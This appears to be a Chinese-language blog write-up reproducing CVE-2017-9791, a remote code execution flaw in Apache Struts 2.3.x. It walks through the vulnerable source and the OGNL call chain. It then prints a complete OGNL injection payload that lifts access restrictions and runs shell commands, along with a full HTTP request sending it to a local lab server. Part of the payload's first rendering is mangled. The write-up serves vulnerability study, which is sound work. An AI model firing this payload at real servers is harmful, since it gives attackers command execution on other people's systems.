Apache Struts 2遠端程式碼執行漏洞復現(第二彈)
0x00 漏洞概述
編號為CVE-2017-9791。
官方描述是:
It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it's a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the
ActionMessage
class.
在Struts 2.3.x版本上,Showcase外掛的ActionMessage
類處理使用者輸入不當,導致任意程式碼執行。
雖然Struts 2.3.x版本早已官宣退役,但是原始碼值得一看,而且相信還有許多正在服役的Struts 2.3.x專案。
影響版本:Struts 2.3.x。
0x01 漏洞原始碼
分析基於官方的示例war包。
從漏洞描述可知,本質問題在於struts2-struts1-plugin這個jar包。這個庫被用作Struts 1和Struts 2間的銜接,將Struts 1的action封裝為Struts 2的action,以便後者使用。
struts2-struts1-plugin包中的Struts1Action.java有execute()
getText()
函式,該函式會執行OGNL表示式;getText()
函式的輸入又是使用者可控的。
Struts1Action.java
如圖中所示,先呼叫了SaveGangsterAction.execute()
方法,然後呼叫了getText()
方法。
SaveGangsterAction.java
去檢視一下SaveGangsterAction.execute()
的具體實現,檔案位於WEB-INF/classes/org/apache/struts2/showcase/integration/SaveGangsterAction.java。
gform.GetName()
被放入messages
gform.GetName()
的值是從客戶端獲取的。
getText函式
getText()
函式的呼叫鏈較長,從Struts1Action.execute()
開始追溯。
-
ActionSupport.getText()
public String getText(String aTextName) { return getTextProvider().getText(aTextName); }
-
TextProviderSupport.getText()
public String getText(String key, String defaultValue, List<?> args) { Object[] argsArray = ((args != null && !args.equals(Collections.emptyList())) ? args.toArray() : null); if (clazz != null) { return LocalizedTextUtil.findText(clazz, key, getLocale(), defaultValue, argsArray); } else { return LocalizedTextUtil.findText(bundle, key, getLocale(), defaultValue, argsArray); } }
-
LocalizeTextUtil.findText()
public static String findText(Class aClass, String aTextName, Locale locale, String defaultMessage, Object[] args) { ValueStack valueStack = ActionContext.getContext().getValueStack(); return findText(aClass, aTextName, locale, defaultMessage, args, valueStack); }
-
到了常規OGNL表示式入口。
0x02 利用流程
訪問靶機
先行測試
發現運算被執行了。
抓包改包
重新訪問/integration/editGangster.action路徑。
構造Payload:
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
由於系統解析特性,Payload需要經過URL轉碼,注入命令中的空格也要轉義為%20
。
POST /integration/saveGangster.action HTTP/1.1
Host: 127.0.0.1:52570
Content-Length: 1022
Cache-Control: max-age=0
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="92"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:52570
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:52570/integration/editGangster.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; JSESSIONID=25C4D4A4B6532931B769FC874B99B7DB
Connection: close
name=%25%7B(%23_%3D'multipart%2Fform-data').(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23_memberAccess%3F(%23_memberAccess%3D%23dm)%3A((%23container%3D%23context%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.getExcludedPackageNames().clear()).(%23ognlUtil.getExcludedClasses().clear()).(%23context.setMemberAccess(%23dm)))).(%23cmd%3D'ls%20-l%20%2Ftmp').(%23iswin%3D(%40java.lang.System%40getProperty('os.name').toLowerCase().contains('win'))).(%23cmds%3D(%23iswin%3F%7B'cmd.exe'%2C'%2Fc'%2C%23cmd%7D%3A%7B'%2Fbin%2Fbash'%2C'-c'%2C%23cmd%7D)).(%23p%3Dnew%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process%3D%23p.start()).(%23ros%3D(%40org.apache.struts2.ServletActionContext%40getResponse().getOutputStream())).(%40org.apache.commons.io.IOUtils%40copy(%23process.getInputStream()%2C%23ros)).(%23ros.flush())%7D&age=123&__checkbox_bustedBefore=true&description=123
0x03 工具一把梭
Struts 2系列漏洞實在經典,必然有大佬製作相應的檢測工具。
一個較流行的工具:shack2/Struts2VulsTools: Struts2系列漏洞檢查工具 (github.com)。